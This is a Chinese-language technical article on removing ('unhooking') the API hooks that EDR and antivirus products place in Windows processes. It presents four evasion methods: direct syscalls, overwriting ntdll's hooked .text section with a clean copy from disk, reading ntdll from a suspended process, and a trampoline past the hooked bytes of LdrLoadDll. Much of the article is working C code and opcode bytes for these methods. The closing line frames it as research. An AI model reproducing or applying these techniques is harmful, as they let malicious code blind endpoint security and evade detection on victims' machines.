杀毒软件脱钩(Unhoo)技术研究与实践
字数 1302 2025-08-22 12:23:41
杀毒软件脱钩(Unhoo)技术研究与实践
前言
API Hook是安全产品(如EDR)常用的技术手段,通过替换操作系统中的API函数来拦截对这些函数的调用。在Windows系统中,许多关键函数(如CreateFile、ReadFile、LoadLibrary等)是通过DLL导出实现的。EDR会修改目标DLL中的函数入口,通常是将函数开头几个字节改为跳转指令(JMP),使程序执行跳转到EDR的检测函数中,从而在API被调用前执行额外检查。
EDR Hook机制分析
注入机制观察
- 通过Bitdefender观察发现EDR会将两个DLL注入到进程中
- 将测试程序加入白名单后,EDR不再注入DLL
- 对比分析发现:
- 对用户态(3环)函数有Hook
- 对内核态(0环)函数也有Hook
阻止DLL注入尝试
Windows提供了SetProcessMitigationPolicy函数来限制DLL注入:
#include <windows.h>
int main(){
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp = { 0 };
pmbsp.StoreSignedOnly = false;
pmbsp.MicrosoftSignedOnly = true;
BOOL result = SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp));
if (!result) {
MessageBox(NULL, "False", "False", MB_OK);
}
MessageBox(NULL, "Success", "Success", MB_OK);
return 0;
}
问题:EDR的DLL可能带有微软签名,此方法失效。
脱钩技术实践
方法一:直接系统调用
- 绕过用户态Hook直接调用内核函数
- 如
VirtualAlloc最终调用NtAllocateVirtualMemory - 直接使用
syscall指令调用系统调用
- 如
缺点:堆栈不正常,可能被检测
方法二:磁盘重载ntdll
从磁盘加载干净DLL,替换内存中被Hook的.text节:
void UnHookDll(LPCSTR dllname) {
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA(dllname);
GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi));
char dllpath[MAX_PATH] = { 0 };
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
sprintf_s(dllpath, "c:\\windows\\system32\\%s", dllname);
HANDLE ntdllFile = CreateFileA((LPCSTR)dllpath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);
PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);
for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
SIZE_T virtualSize = hookedSectionHeader->Misc.VirtualSize;
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
(LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize);
VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize,
oldProtection,
&oldProtection);
}
}
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);
}
效果:成功脱钩用户态和内核态函数
方法三:挂起进程获取干净ntdll
创建挂起进程获取未Hook的ntdll:
#include <windows.h>
int main(){
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
si.cb = sizeof(STARTUPINFOA);
BOOL result = CreateProcessA("C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL, NULL, &si, &pi);
if (!result) {
MessageBox(NULL, "False", "False", MB_OK);
}
MessageBox(NULL, "Success CREATE_SUSPENDED", "Success CREATE_SUSPENDED", MB_OK);
return 0;
}
特点:
- 挂起的进程只有ntdll.dll,没有EDR的DLL
- 同一系统上不同程序的ntdll基址相同
- 获取的ntdll未被Hook
限制:仅适用于ntdll,不适用于kernel32.dll和KernelBase.dll
参考实现:PerunsFart
方法四:自定义跳转函数unhook
绕过EDR的JMP Hook:
-
定义跳转指令结构:
jumpPrelude[] = { 0x49, 0xBB }- 64位mov指令jumpAddress[]- 占位符(8字节)jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 }- 跳转和返回指令
-
实现步骤:
- 获取LdrLoadDll函数地址
- 将LdrLoadDll地址+5字节后的地址放入jmpAddr
- 申请内存保存原始函数前5字节
- 构造跳转指令
- 修改内存属性为可执行
- 使用新函数加载DLL
原理:复制原始函数前5字节,避免EDR的Hook,然后跳转到原始函数+5字节处继续执行
总结
| 方法 | 优点 | 缺点 |
|---|---|---|
| 直接系统调用 | 简单直接 | 堆栈不正常易被检测 |
| 磁盘重载ntdll | 完全脱钩 | 需要处理内存保护 |
| 挂起进程法 | 获取干净ntdll | 仅适用于ntdll |
| 自定义跳转 | 精确控制 | 实现较复杂 |
选择合适的方法需根据具体场景和EDR的检测机制。这些技术对于研究EDR行为和安全防护有重要参考价值。